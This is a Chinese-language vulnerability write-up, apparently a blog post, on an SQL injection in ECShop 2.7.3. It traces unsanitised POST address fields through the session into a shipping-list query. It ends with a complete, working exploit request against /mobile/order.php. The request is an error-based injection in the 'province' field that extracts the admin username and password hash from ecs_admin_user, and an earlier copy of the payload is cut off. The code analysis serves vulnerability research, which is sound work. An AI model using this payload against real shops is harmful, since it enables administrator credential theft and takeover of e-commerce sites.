前段时间大概2012年圣诞节左右，在t00ls上看见ecshop注入漏洞，影响全版本，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
漏洞关键文件：
/includes/lib_order.php
关键函数：
01 |
function available_shipping_list($region_id_list) |
02 |
{ |
03 |
$sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . |
04 |
's.shipping_desc, s.insure, s.support_cod, a.configure ' . |
05 |
'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . |
06 |
$GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . |
07 |
$GLOBALS['ecs']->table('area_region') . ' AS r '. |
08 |
'WHERE r.region_id ' . db_create_in($region_id_list) . |
09 |
' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; |
10 |
11 |
return $GLOBALS['db']->getAll($sql); |
12 |
} |
第531行：
1 |
$shipping_list = available_shipping_list($region); |
再对传入变量进行追踪：
第530行：
1 |
$region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); |
第473行：
1 |
$consignee = get_consignee($_SESSION['user_id']); |
到了一个关键函数：
/includes/lib_order.php
01 |
function get_consignee($user_id) |
02 |
{ |
03 |
if (isset($_SESSION['flow_consignee'])) |
04 |
{ |
05 |
/* 如果存在session，则直接返回session中的收货人信息 */ |
06 |
07 |
return $_SESSION['flow_consignee']; |
08 |
} |
09 |
else |
10 |
{ |
11 |
/* 如果不存在，则取得用户的默认收货人信息 */ |
12 |
$arr = array(); |
13 |
14 |
if ($user_id > 0) |
15 |
{ |
16 |
/* 取默认地址 */ |
17 |
$sql = "SELECT ua.*". |
18 |
" FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. |
19 |
" WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; |
20 |
21 |
$arr = $GLOBALS['db']->getRow($sql); |
22 |
} |
23 |
24 |
return $arr; |
25 |
} |
26 |
} |
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
关键点:
第400行： $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
这里对传入参数反转义存入$_SESSION中。
然后看下：
01 |
$consignee = array( |
02 |
'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), |
03 |
'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), |
04 |
'country' => empty($_POST['country']) ? '' :$_POST['country'], |
05 |
'province' => empty($_POST['province']) ? '' :$_POST['province'], |
06 |
'city' => empty($_POST['city']) ? '' :$_POST['city'], |
07 |
'district' => empty($_POST['district']) ? '' :$_POST['district'], |
08 |
'email' => empty($_POST['email']) ? '' :$_POST['email'], |
09 |
'address' => empty($_POST['address']) ? '' :$_POST['address'], |
10 |
'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), |
11 |
'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), |
12 |
'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), |
13 |
'sign_building' => empty($_POST['sign_building']) ? '' :$_POST['sign_building'], |
14 |
'best_time' => empty($_POST['best_time']) ? '' :$_POST['best_time'], |
15 |
); |
好了注入就这样出现了。
==================
注入测试：
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
测试程序：ECShop_V2.7.3_UTF8_release1106
1.首先需要点击一个商品加入购物车
2.注册一个会员帐号
3.post提交数据

3 |
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,
|
=======================================
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
我们搜寻关键函数function available_shipping_list()
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
利用exp:
1.点击一个商品，点击购买商标
2.登录会员帐号
3.post提交：
http://127.0.0.1/ecshop/mobile/order.php
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
